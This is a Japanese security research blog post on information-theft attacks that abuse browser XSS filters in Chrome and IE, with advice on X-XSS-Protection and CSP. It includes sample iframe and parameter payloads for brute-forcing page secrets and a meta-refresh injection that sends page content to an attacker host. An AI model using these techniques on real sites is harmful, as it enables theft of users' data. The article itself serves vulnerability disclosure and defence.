本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。

最新情報

2016.04.07

ブラウザのXSSフィルタを利用した情報窃取攻撃

(English version is available here)


今回はブラウザのXSSフィルタへの攻撃を取り上げます。

XSSフィルタはブラウザに内蔵されたセキュリティ機能です。WebアプリケーションにXSS脆弱性がある場合に、それが実際に攻略されるリスクを減らしてくれます。

一般にXSSフィルタは「ベストエフォート型の補助的対策(best-effort second line of defense)」と位置付けられています。つまりXSSフィルタは「根本的な対策」ではなく、100%の攻撃をブロックすることはそもそも期待されていません。「根本的対策」は従来から言われているWebアプリケーションにおけるXSS対策です。

ここで簡単にXSSフィルタの歴史を振り返ってみましょう。最初のブラウザのXSSフィルタは、Microsoftが2008年にIE8に実装したものです。その後すぐにWebKitベースのChrome、Safariにも「XSSAuditor」という名前で実装されました。現状では、Firefox以外のメジャーブラウザに実装されていることになります。

さらに遡ると、IE8以前にもその種の機能を提供するクライアントサイドのソフトウェアがありました。FirefoxのアドオンであるNoScriptがそれです。

ブラウザ本体に搭載されたXSSフィルタには、NoScript等の従来型のフィルタとは異なる重要な特徴が2つあります。

1. リクエストと応答の突合せを行い攻撃有無を判定する
2. 攻撃を検出した際に、部分的にHTMLをいじって攻撃を無効化する

これらは誤検出(False Positive)の影響を少なくするために極めて重要ですが、一方でXSSフィルタに特有の脆弱性が生まれる原因ともなってきました。

詳細の説明に入る前に、XSSフィルタの脆弱性をいくつかの種類に分類したいと思います。

1. バイパス
2. UXSS (Universal XSS)
3. 情報窃取

本日取り上げるのは3番目の「情報窃取」ですが、本題に進む前に1,2についても簡単に触れます。

攻撃1. バイパス

XSSフィルタはXSS脆弱性の攻略を防ぐことが期待されていますが、穴があってすりぬけてしまうこともあります。それがこのバイパスです。細かく見るとバイパスにも2種類あります。そもそもベンダが設計時点でフィルタによる対処のスコープ外としたものと、そうでないもの(フィルタのバグ)です。

バイパスはフィルタの誕生以来様々なタイプのものが発見され、「スコープ外」の問題以外の多くが対処されてきました。この記事の本題ではないので、詳細の説明は割愛していくつかのリソースにリンクを張るだけに留めておきたいと思います(下記は発見されたもののうちのほんの一部に過ぎません)。

:

Alex Kouzemtchenko aka. kuza55 (IE, 2009)
Eduardo Vela Nava aka. sidarckcat & David Lindsay aka. Thornmaker (IE, 2009)
cirrus at 0x0lab (Safari, 2010)
Masato Kinugawa (Chrome, 2012)
ElevenPaths (Chrome, 2013)
Gareth Heyes (IE, 2015)

余談ですが、このような問題をフィルタの「脆弱性」とみなすかは微妙です。冒頭で述べたようにXSSフィルタはあくまで補助的な対策であり、フィルタのバイパスの多くはこれまで脆弱性とは認識されていませんでした。Chrome(Google)は現在もそのスタンスを維持しているようです。

しかしIE(Microsoft)については脆弱性とみなされたものがあります。Microsoft Security Bulletinにその一部を見ることができます。Microsoftは、XSSフィルタに関する問題はバイパス以外も含めて「Bypass」と表記する傾向があるようですが、少なくとも筆者が2014年に発見・報告したCVE-2014-6328は純粋なバイパスが脆弱性として公表されている例です。

話を戻すと、XSSフィルタはXSSの全てをスコープとするものではなく、またスコープ内のものであってもしばしばバイパスが発見されてきた、というのがここでのまとめです。

攻撃2. UXSS

前述のように、XSSフィルタは攻撃らしきものを検出すると、応答を部分的に書き換えて攻撃を防ぎます。この挙動を逆手に取るのがこの「UXSS」です。

発見された数はバイパスに比べて少ないです。

:

Eduardo Vela Nava aka. sirdarckcat & David Lindsay aka. Thornmaker (IE, CVE-2009-4047)
NeexEmil (Chrome, 2013-2014)
Masato Kinugawa (IE, CVE-2015-6144/CVE-2015-6176)

攻撃には、偽のパラメータを与えてXSSフィルタの誤検出を誘うテクニックが使用されます。これによりXSSフィルタは応答内の攻撃を検出した箇所を書き換えます。その結果、HTMLの構造が変わってしまい、それがXSSにつながります。

ポイントは、Webアプリケーション側に脆弱性がないにも関わらず、XSSフィルタの挙動によりXSS攻撃が可能になってしまうということです。このタイプはバイパスとは違い、フィルタの脆弱性と考えられています。

新たなXSSフィルタのモード - ブロックモード

大きな注目を集めた最初のIEの脆弱性(CVE-2009-4047, sirdarckcat & Thornmaker)が、XSSフィルタの応答を書き換える挙動の危険性を明らかにしました。その脆弱性への対応として、Microsoftは応答の書き換えロジックを改善するとともに、「ブロックモード」と呼ばれる新たなフィルタのモードを2010年に導入しました。WebKitもすぐに追随して同じモードを導入しました。

フィルタのデフォルトは「通常モード」であり、下記のような明示的な応答ヘッダがある場合にのみブロックモードで動作します。

X-XSS-Protection: 1; mode=block

ブロックモードのフィルタは、攻撃を検出した際に応答の一部分を書き換えるのではなく、応答全体を空白に書き換えます。空白ならば何もJavaScriptが実行されることもないので安全だろう、という発想です。このモードは、将来生じうる類似の問題への対策であったと思われます。

この「類似の問題」の実例が、2つ目(NeexEmil)、そして3つ目の脆弱性(CVE-2015-6144/CVE-2015-6176, Masato Kinugawa)です。これらの脆弱性は、前のと同じく通常モードのみで再現します。

ちなみに3つ目のKinugawa氏の脆弱性に関してですが、2015年12月のMicrosoftのFixは氏がCode Blue 2015で公開した複数の攻撃手法のうち、一部のみを修正する不完全なものであったようです。Microsoft側の不注意もあるのかもしれませんが、この種の問題が(通常モードを前提とすると)一筋縄では修正できないやっかいなものであることを示す一例だと思います。

筆者も2009年に個人のブログ記事で、通常モードでの攻撃の可能性に触れたことがあります。Microsoftは、問題に気付いてはいるものの、今に至るまで修正していません。レアケースであり修正する必要性が低いという理由もあるのでしょうが、現行の方式を前提とする限り原理的に修正しようがない、という理由もあるでしょう。

まとめると、XSSフィルタの非ブロックモードにはそのアーキテクチャに固有のUXSSリスクが存在し、そのリスクはある程度軽減できるものの、完全に無くすることはできない、ということです。

攻撃3. 情報窃取

3つ目の攻撃はこの記事の本題である「情報窃取」です。

2番目の「UXSS」と似ていている点は、Webアプリケーション側に脆弱性がない状況において攻撃が成立するということです。異なるのは攻撃の結果が「(U)XSS」ではなく「情報窃取」であるという点です。

まず最初に例として、2014年に筆者が報告したChromeの脆弱性について説明します。

Takeshi Terada (Chrome, CVE-2014-3197)

脆弱性例: CVE-2014-3197

被害者のユーザが攻撃対象のページ(http://target/)にアクセスした際の応答に、下記のようなHTMLが含まれているとします。

<SCRIPT>var secret='1234';</SCRIPT>

攻撃者の目標は、このページのsecretの値をXSSフィルタを使い盗むことです。

攻撃者は自身のサイトにいくつかのiframeを作ります。ここでは仮に3つのiframe(F1,F2,F3)とします。

<IFRAME name="F1" src="http://target/#<SCRIPT>var secret='1232';"></IFRAME>
<IFRAME name="F2" src="http://target/#<SCRIPT>var secret='1233';"></IFRAME>
<IFRAME name="F3" src="http://target/#<SCRIPT>var secret='1234';"></IFRAME>

そして被害者のユーザをこのページにアクセスさせます。何が起こるでしょうか?

上のケースでは、F1,F2のiframeではXSSフィルタは発動せず、F3のiframeのみで発動します。F3でXSSフィルタが発動するのは、リクエストURL(フラグメント。#<SCRIPT>var secret='1234';)に応答のscript要素と同内容のものが含まれているからであり単なる誤検出です。攻撃者は意図的に誤検出を起こしそれを悪用するのです。

攻撃者がF3のみでフィルタが発動したことを知ることができれば、攻撃者はsecretの値が1234であることを知ることができます。問題は、どうやってクロスオリジンのframe内のフィルタ発動を知ることができるか?ということです。答えは当時のChromeのブロックモードの挙動にありました。

当時のChromeはブロックモードでXSSフィルタが発動すると、内部的に文書のURLを「data:,」(独立した空白ページ)に書き換えるという処理を行っていました。つまり、上の例ではF1,F2では元のURLは維持され、XSSフィルタが反応したF3のみが「data:,」になります。

攻撃者は「data:,」のURLを持つiframeをいくつかの方法で調べることができます。分かりやすいのは、iframeのsrcを「data:,#」に書き換え、iframeの onloadイベントが発生するか否かを調べる方法です。上の例ではF1,F2では前後でURLが変化するためイベントが発生します。一方F3はURLのフラグメント部分のみが変化するためイベントは発生しません。これを利用して、F3が正解であることが確定できます。

もう一つは、攻撃者のページ上でCSP(Content Security Policy)を使う方法です。攻撃者はdataスキームのiframeを禁止するCSPポリシーを使うことで、XSSフィルタによって引き起こされるiframeのURLの変化を、CSPの違反レポートによって知ることができます。

いずれにせよ、秘密の値を総当たりする必要があるため取得できるデータは限られます。ただし、一度に複数の候補を試すという、バイナリサーチ的な手法が使用できるため、ある程度の効率化は可能です。

以上が攻撃の原理です。PoCや詳細はChromiumのページに記載されているのでご覧ください。

なお、上記は単純化された説明で、実際はいくつかの条件(下記)が満たされる場合にのみ攻撃が成功します。

1. XSSフィルタがブロックモードである
2. script要素内の先頭100文字以内に秘密情報がある
3. 秘密情報の前にコメント・カンマが無い
4. 秘密情報が総当たり可能な情報量である
5. 対象ページをiframe内に表示可能

2,3の条件が必要なのは、ChromeのXSSフィルタがscriptへの攻撃の有無を判定する際に、先頭100文字以降、あるいはコメント・カンマ以降を無視するからです。

Googleが最終的に導入した対策は、URLの違いからXSSフィルタの発動有無を調べることを防ぐために、XSSフィルタが発動した際にURLをそのまま維持するという対策です。Appleも先月、非常に似たSafariの脆弱性を同じ方法で修正しました。

類似のChromeの脆弱性

上記の脆弱性を報告した後に筆者が調べたのは、過去の同様の脆弱性の有無です。

その結果、いくつかのChromeの脆弱性報告を見つけました。

:

Egor Homakov (Chrome, CVE-2013-2848)
NeeXEmil (Chrome, CVE-2013-6656/CVE-2013-6657)

一つ目はHomakov氏により2013年に報告されたものです。当時は「data:,」ではなく「about:blank」が使用されていたため、XSSフィルタが発動したか否かを調べる方法が異なりますが、それを除けば筆者が報告したもの(CVE-2014-3197)は基本的にこれと同じです。

次の2つは2013年にNeeXEmil氏により報告されました。前のものとは異なり、XSSフィルタを使い応答の内容ではなくPOSTパラメータの値を窃取するというユニークな発想の攻撃です。

もう一つ紹介したいのは2015年に報告された、これもChromeの脆弱性です。

Gareth Heyes (Chrome, CVE-2015-1285)

この攻撃は対象のブロックモードのページにiframeが存在する場合に機能します。基本的な原理はHomakov氏のものと同じですが、XSSフィルタの発動有無を、window.lengthiframe_elem.contentWindow.lengthまたはwindow_obj.length)で調べる点が異なります。これはウィンドウ内のframeの数を示す変数で、クロスオリジンで読み取り可能です。XSSフィルタが発動したときはコンテンツが空になるため同変数の値は0となり、発動しない場合は1以上です。

氏の研究には他にも攻撃を効果的にするための重要な改善が含まれています。具体的には、リクエストと応答のマッチングの際に無視される文字の探索方法の確立、一部のコンテキストにおいて総当たりを避けるためのパディングの使用、の2点です。

IEの脆弱性

上記で紹介したものはいずれもChromeの脆弱性です。その他のブラウザについては極めて情報が少ないのですが、色々とググったところそれらしいIEの脆弱性を発見しました。

Thomas Stehle (IE, CVE-2011-1992)

下記はMITREに記載されていた脆弱性の説明です。

The XSS filter in Microsoft Internet Explorer 8 allows remote attackers to read content from a different (1) domain or (2) zone via a "trial and error" attack, aka "XSS filter Information Disclosure Vulnerability."

赤字で示した箇所は、Stehle氏の脆弱性が「その種のもの」であることを強く示唆していますが、それ以上の情報をネットで見つけることはできませんでした。そこで氏に直接連絡したところ、攻撃の概要の情報と、合わせてブログへの掲載の許可も頂くことができました。有用な情報だと思うので、ここにその内容を紹介したいと思います。ただし下記はあくまで筆者が理解したところのイメージであり、実態とは異なる部分があると思いますのでご注意ください。

それでは氏の発見した脆弱性を見ていきます。

盗むデータは先ほどと同じ(secret='1234')とします。

これに対して2種類のパラメータを与えてみます。

bogus1=secret='1+
  パラメータ値が応答とマッチするためフィルタが発動する。
  フィルタの正規表現マッチング処理により 数百ミリ秒応答が遅延する。

bogus2=secret='9+
  フィルタは反応せず 遅延は生じない

iframeのonload属性等を利用し遅延を測定することで、フィルタの発動有無をクロスオリジンで知ることができます。

攻撃のポイントは2つあります。1つはパラメータ値の末尾に付けたスペース(+)です。XSSフィルタはそれをある種のワイルドカードとして認識し、正規表現マッチング時の遅延を引き出すことができたそうです。ちなみに、Kinugawa氏のUXSS(IE, CVE-2015-6144/CVE-2015-6176)においてもスペースが重要なツールとして使用されています。

もう1つのポイントは、上記のChromeのバグとは異なり、IEのケースでは部分一致でもフィルタを作動させることができたということです。これにより対象文字列全体の総当たりではなく、1文字ずつデータを窃取する攻撃が可能でした。さらにこの手法はブロックモード・通常モードのどちらでも動作しえます。これは攻撃側にとって非常に有利です。

公開された年(2011年)から見て、氏の研究がXSSフィルタにおけるこの種の攻撃手法の先駆けであったと思われます。

IEの対策

以来数年が経っていますが、現状のIEがこの種の攻撃をどう防いでいるか見てみましょう。筆者が考えるポイントは下記の3つです。

1. 検出時のページのオリジンを維持
2. 攻撃の回数制限を設ける
3. チューンされた検出基準を適用する

1は現状のChromeと同じです。ブロックモードであっても、攻撃を検出した際に文書のオリジンを維持します。

興味深いのは2の回数制限です。具体的にいうとIEは一定の回数(10回)の攻撃らしきリクエストを受けると挙動が変わります。つまり10回を超えるとリクエストと応答との突合せにおける「合致」の基準は緩やかになります。この状態ではリクエストと応答が厳密に合致していなくてもフィルタが反応するため、フィルタの検出を悪用した攻撃は難しくなります。

当然、10回以内で突き止められるような情報量の小さな値であれば総当たりの余地があるので、厳密には「mitigative(影響を軽減するレベル)」の対策と言えるでしょう。しかしおそらくはこれが、氏の報告した脆弱性に対してMicrosoftが出した回答であったと思われます。

3つ目は「チューンされた検出基準」です。マッチングをする際に、IEのXSSフィルタは攻撃風の文字列が含まれる場合にのみ反応するようになっています。したがって、JavaScriptとリクエストの両方に同じ「var secret='...'」のような文字列が含まれているだけでは検出しません。一方で、応答とリクエストの両方に「<script>」が含まれていれば、JavaScriptの中身を見ずに検出するなど粗い面もあります。いずれにせよ、どこまでが故意か偶然かは分かりませんが、Chromeと比べてJavaScript内の特定の文字列を総当たりしづらい検出基準になっています。

さらなる攻撃の可能性

これらの「情報窃取」の問題は、前述のようにブラウザの脆弱性として認識され、原則的に都度修正がされています。しかし、ここで提起したいのは「本当の意味で治っているのか?」という疑問です。もっと言うと「本当に原理的に治せるのか?」という疑問になります。

実は、先に触れた、iframeを使っているページが攻撃対象となるChromeのCVE-2015-1285(Gareth Heyes)は部分的にしか修正されていません。攻撃には「クロスオリジンでwindow.lengthが参照できる」というブラウザの「仕様」が利用されており、その仕様をいまさら変更することは現実的でないためです。

したがって、肝心の「ブロックモードのページがiframeを使用している場合に、script要素の内容等を総当たりで調べることができる」という部分は手つかずのまま残っています。おそらくGoogleのセキュリティ担当が「修正は困難」という判断をしたものと思われます。なお、この問題はChromeに固有のものではありません。現在でも一定の条件が満たされるならば、他のブラウザにおいても同様の攻撃が可能です。

ここでもう少し別の攻撃の可能性についても考えてみましょう。

その前にいったん情報窃取攻撃について整理してみたいと思います。

この攻撃において重要な点は下記です。

1. 偽のパラメータを付けてフィルタを誤検出させる
  - 秘密情報を巻き込む形でリクエストと応答がマッチングされなければならない。

2. フィルタの検出有無を調べる
  - クロスオリジンで調べる必要がある。

順番が逆になりますが、まず2について考えてみます。

クロスオリジンでのフィルタの検出有無の調査

ブロックモードの場合は、どのような方法でフィルタの検出有無を調べることができるでしょうか。

対象ページがiframeを含んでいるならば、Heyes氏が示したwindow.lengthを使う方法で調べられます。

ではiframeを含まない場合はどうでしょう。

まず、フィルタによる応答全体を空にする書き換えは、レンダリング時間やサーバとのトラフィック量(ページ内のリソースを含む)にかなりの影響を与えることは明らかです。HTTPSのサイトの通信経路上に攻撃者がいるケースを想定すると、これらもフィルタが反応したか否かを知る手掛かりになる可能性があります。

次に、攻撃対象のページの下の方に、攻撃者のサーバ上の画像が埋め込まれているような状況を考えてみたいと思います。少々攻撃者にとって都合の良い仮定ですが、そういうケースもままあるでしょう。この場合、フィルタが反応した時は応答が空になるため攻撃者のサーバに画像を要求するリクエストが届かず、フィルタが反応しない場合は攻撃者のサーバにリクエストが届きます。これでフィルタの反応有無が分かります。

それでは非ブロックモードの場合はどうでしょうか。

非ブロックモードでの攻撃例は、フィルタの処理時間を利用したIEのCVE-2011-1992(Thomas Stehle)があります。ただ、非ブロックモードは部分的にしか応答を変更しないため、応答の変化を手掛かりとするならば、フィルタの反応有無を知ることができる状況はかなり限定されるでしょう。つまり、情報窃取について言うと、非ブロックモードはブロックモードと比べて安全性が高いと言えると思います。

ところでこういった議論は必ずしも新しいものではありません。Timing Attackについては、IEのCVE-2011-1992(Thomas Stehle)の実例だけでなく、Homakov氏による前述のバグ報告内でも言及されています。また、筆者による前述のChromeのバグ報告でも上記の画像を用いる方法に触れています。

攻撃に好都合な誤検出の誘発

続いてフィルタの誤検出を攻撃者の都合のよい形で、つまりページ上の秘密情報を巻き込む形で誘発させる方法についてです。

これについては、少々説明が必要でしょう。

まずはIEのフィルタを例にとります。前述のように「<SCRIPT>var secret='1234';」の「1234」のような部分には、判定の際のリクエスト/応答のマッチングが掛かりません。「<input type="hidden" name="secret" value="1234">」等についても同様です。さらにIEには10回の試行回数制限があります。

Chromeのscript要素の場合は、前述のように、マッチングの際に先頭100文字以降、あるいはコメント・カンマ以降が無視されます。それに加えて総当たりが必要です。

つまり、マッチングにかかわる制約により値を窃取できるケースがかなり限られるわけです。こういった制限をどうにか回避/緩和できないか?というのがここでの問題です。

IEのマッチングに関しては、スペース(ワイルドカード)を使うことでマッチさせる範囲を拡張できることが、昨年のUXSSのリサーチ(CVE-2015-6144/CVE-2015-6176, Masato Kinugawa)によって示されており、これが情報窃取にも適用できます。

例えば下記のようなHTMLを考えます。

...
<script type="text/javascript" src="/js/jquery.js"></script>
</head>
<body>
<input type="hidden" name="secret" value="1234">
<img src="/img/a.gif">
...

このとき、下記の2つのパラメータを個別に与えます。

bogus1=<script+t+++++++++++++++++++123+++src= → フィルタは反応する
bogus2=<script+t+++++++++++++++++++127+++src= → フィルタは反応しない

bogus1を与えた時のマッチの範囲は「<script type= ... 123 ... <img src=」(下線部)となります。この範囲には通常はマッチングの対象とはならないhiddenの値が含まれます。このように、スペース等を使うことによりマッチ範囲を都合よく広げることができます。

このテクニックはフィルタの検出有無を調べる上でも有効です。bogus1パラメータが与えられると、フィルタは通常モードであってもscript要素を削除するので、サイドチャネル攻撃によりJavaScriptの削除を検出する余地が生まれます。

他については、さらに深堀した研究の余地がある、ということだけをここでは述べておきたいと思います。

XSSフィルタでの対処は可能なのか

先ほどの疑問に話を戻しましょう。情報窃取の問題は「本当の意味で治っているのか?」「本当に原理的に治せるのか?」という疑問です。

回答は「情報窃取の問題は現状完全には解決されていない」ということになるでしょう。さらに言うと、ブラウザ側の努力により発生しにくくすることは可能でしょうけれども、完全に解決することが原理的に不可能な問題だとも言えます。

ただここでもう一つ浮かんでくるのは「そもそもこれは完全に直す必要がある問題なのか?」という疑問です。現状知られている攻撃方法においては、いくつかの条件が満たされる場合にのみ攻撃が成功します。もうひとつ付け加えると、情報窃取は(U)XSSほどの影響にはなりえません。

ですので「リスクを許容する」というのも一つの現実的な選択肢なのでしょう。前述のようにChromeのCVE-2015-1285(Gareth Heyes)が本質的に修正されなかったのは、ベンダによるリスク許容の結果とも言えます。同じことはUXSSにもあてはまります。先に述べた筆者の個人ブログで指摘した問題がその例と言えるでしょう。しかし、リスクが許容できるか否かはアプリケーション次第です。

まとめ

今回はXSSフィルタへの3種類の攻撃、特に情報窃取攻撃について書きました。

3つのうち筆者がより重要だと考えるのは「UXSS」「情報窃取」の二つです。これらはいずれも本来ならば脆弱で無いサイトを脆弱にしてしまうものです。フィルタの根本的な挙動を利用しているだけに、ブラウザ側での抜本的な対処が難しい問題です。

もうひとつ問題をややこしくしているのは、Webサイト側が(あるいはセキュリティ研究者でさえ)個々のページが「UXSS」や「情報窃取」の影響を受けるのか否かを判断するのが困難であることです。これはフィルタの挙動がブラウザ毎に異なっているうえに、その内部が非常に複雑になってしまっていることから来ています。

これらの問題を見るたびに筆者が考えてしまうのは、XSSフィルタの立ち位置の困難さです。冒頭にXSSフィルタは「補助的対策」であると書きました。つまり、本来XSS対策を実施すべきはWebアプリケーションであり、ブラウザはそれを実施すべき場所ではありません。一般に、本来とは異なる場所での対策は、複雑になりやすく、不完全となりやすく、副作用も生じやすいものだと思います。その典型的な例がXSSフィルタの「UXSS」「情報窃取」でしょう。

このような問題の一方、(本記事ではネガティブな面ばかりを取り上げてますが)XSSフィルタは実際にXSSを攻撃に使用するのを多少なりとも困難にしてきました。この現実的なメリットと副作用の両方を考慮すると、XSSフィルタは「もろ刃の剣」と表現するのが適当なのだと思います。

XSSフィルタの望ましい設定とは

さて、Webサイトの運営者は、このような好悪両面を持つXSSフィルタといかに付き合うべきでしょうか。

現状取りうる選択肢は3つあります。この3つのうちどれがベストなのでしょうか。

1. 通常モード (非ブロックモード) X-XSS-Protection: 1 (デフォルト)
2. ブロックモード X-XSS-Protection: 1; mode=block
3. オフ X-XSS-Protection: 0

WebアプリケーションのXSS対策漏れのセーフガードとしては「オフ」以外が、UXSSへの対処上は「通常モード」以外が有効です。情報窃取を考慮すると「ブロックモード」以外が有利です。つまり困ったことに万能な正解はありません。

では、まずは他の人達から学んでみましょう。

筆者の感触ではありますが、一般的なサイトでは、通常モード(明示的な指定なし)が圧倒的に多く、次いで一部のサイトがブロックモード、そして稀にオフという分布です。

著名なサイト、セキュリティの意識の高いサイトはどうでしょうか。
(トップページと他少数のページのみを調べてます)

Alexa top 10のサイト:

google.com ブロック
facebook.com オフ
youtube.com ブロック
baidu.com 通常 (明示的な指定なし)
yahoo.com 通常 (明示的な指定なし)
amazon.com 通常 (明示的な指定なし)
wikipedia.org 通常 (明示的な指定なし)
qq.com 通常 (明示的な指定なし)
google.co.in ブロック
twitter.com ブロック

他の著名なサイト:

yahoo.co.jp ブロック
dropbox.com ブロック
microsoft.com 通常 (明示的な指定なし)
bing.com 通常 (明示的な指定なし)
login.live.com オフ

著名なサイト、特にセキュリティを強く意識しているサイトでは、通常のサイトよりもブロックモードの比率が若干高いと思います。単にそれらに倣うのであれば、ブロックモードがよさそうです。

筆者個人の意見を述べると、「根本的な対策であるアプリケーション側でのXSS対策を十全にした上で、XSSフィルタをオフにするという選択」が理想であると思います。オフにすることで、フィルタがもたらすUXSSや情報窃取、あるいは単純な誤検出(False Positive)といった不確実性から自由になることができます。

Facebook、Microsoft(login.live.comのみ?)のように、少数ながらも「オフ」を実践している著名なサイトもあります。Facebookは単純な誤検出を嫌ってオフにしたわけではないようです。Homakov氏の記事によると、Facebookはフィルタ自体がもたらすセキュリティ上の問題を回避するために「オフ」の選択を行ったようです。

とは言いながら、「オフ」はアプリケーション側でのXSS対策が(それなりに)出来ていることが前提となるため、理想論と言えるかもしれません。当然「アプリケーションのXSS対策に不安があるという現実的な状況においてどうすべきか?」という疑問もあるでしょう。

Kinugawa氏はスライドにあるように「ブロックモード」を推奨しています。「情報窃取はJavaScriptの実行まで至らないため、フィルタのUXSS、もしくはアプリケーションのXSSよりもリスクが小さいだろう」という理由です。

筆者も、アプリケーションにXSSがある疑いが強いならばブロックモードが最善であると思います。その理由はKinugawa氏と全く同じです。ただ、ここで再度強調したいのは、アプリケーション側でのXSSを無くす努力はやはり必要だということです。なぜなら、前述のように、フィルタは完全ではありませんし、そもそも全てのブラウザに備わっているわけでもないからです。

CSP - 新たな補助的対策

それでは、アプリケーション側のXSS対策はどのように行えばよいのでしょうか。

アプリケーション側での対策の鍵は、従来のセキュアプログラミングと、そして比較的新しいCSP(Content Security Policy)の2つです。ここでは後者のCSPについて簡単に書きます。

CSPは2012年にW3Cで標準化された仕様で、許可するJavaScriptやCSS等のリソースのオリジンをレスポンスヘッダに記述するものです。現状、多くのメジャーブラウザでサポートされています。仕様は徐々に拡張されており今はLevel3のDraftが作成中です。

CSPのメリット・デメリットは下記のとおりです。

メリット:

- 適切に使用すれば非常に強力なXSS対策となる。
- 使用した場合に副作用が生じない。
   ( Homakov氏が指摘したように攻撃者のサイトにおいて悪用するシナリオは存在する)

デメリット:

- IEのサポートが遅れている。
- 本格導入にはかなりの手間・時間が掛かる。
- JSやCSSのインライン化による性能最適化との相性が必ずしも良くない。
- Content Injection攻撃の一部に対処できない。

特にXSSフィルタと比べた場合に大きなデメリットとなるのは、導入の手間でしょう。Dropboxはブログ記事の中でCSPを導入した際の手法を説明していますが、相当な工数・時間をかけて実施したことが伺われます。

しかし上記のように使用するメリットは大きく、Twitter、Facebook、Dropboxなどのサイトが既に導入を始めています(現状はまだ緩いCSPルールを使用しているサイトもあります)。

XSS攻撃のその先

CSPはXSSフィルタよりも強力なXSS対策になるので、CSPを導入し、XSSフィルタをオフにするという選択もありえます。しかし、TwitterやDropboxはCSPとブロックモードのXSSフィルタを併用しています。これは、1番目のデメリット(IEのサポートの遅れ)だけではなく、最後の「Content Injection」を考慮したものかもしれません。

Content Injectionは、JavaScriptを使用しないものも含むWebコンテンツへのInjectionであり、XSSより広い概念の攻撃/脆弱性です(単なる画面の改竄から、より高度な情報窃取まで)。JavaScriptもCSSも使用しない攻撃は、Michal ZalewskiGareth Heyesfiledescriptor氏らによって議論されてきました。

興味深いことに、この種の攻撃に関してはXSSフィルタの方がCSPよりもうまく対処できる場合があります(全てではもちろんありませんが)。例えばZalewski、filedescriptor氏は下記のような例を挙げてます。

<meta http-equiv=Refresh content='1;url=http://attacker/?

この文字列が攻撃者に挿入された場合、リダイレクトにより、ページ内の挿入された箇所から最初のシングルクォートまでの文字列が攻撃者のサーバに送られてしまいます。XSSフィルタはこの攻撃を防ごうとしますが、CSPの制約はリダイレクトには及ばないため、CSPはここでは完全に無力です。

つまり、XSSフィルタとCSPを比べた場合に、XSS対策自体としてはCSPがはるかに優れていますが、より広い攻撃であるContent Injectionについてはその限りではない、ということです。これがいくつかのサイトが両者を併用している理由の一つかもしれません。

ちなみに、CSPの仕様は、次のように明確に述べています。

CSP is not intended as a first line of defense against content injection vulnerabilities.

やはりアプリケーションのセキュアプログラミングこそが対策の要である、ということです。

XSSフィルタとその研究の今後

本記事で示したように、XSSフィルタについては最近も重要な脆弱性が発見されています。したがって、3つの攻撃(バイパス、UXSS、情報窃取)のいずれも、当面の脆弱性研究のテーマとなりうる領域だと思われます。個人的にもこれら、特に情報窃取は折を見て取り組んでいきたいと考えています。

ブラウザベンダにとっては、細かいチューニングにより問題解決をはかる努力が必要な時期がしばらく続くと思われます。さらに言うと、チューニングだけでなく、副作用のない新たなオプションをブラウザが提供してもよいのではないかと思います。

例えば「リクエストと応答の厳密な突合せをしない」というようなオプトインのモードです。前述のようにIEは内部的には既にそれに近いモードを持っているように見えます(10回以上の攻撃試行で発動します)。デメリットは誤検出が増えることですが、情報窃取の問題はおそらくそれで解決されるでしょう。


あとがき: 本記事は1月末にほぼ書きあがり、Safariの脆弱性修正のリリースのタイミングを待って公開したため、公開時点で既に内容が古くなっているかもしれません。その間にfiledescriptor氏が近い趣旨のブログ記事を公開しました。氏の記事はこちらから参照できます。



寺田 健 の他のブログ記事を読む

プロフェッショナルサービス事業部
寺田健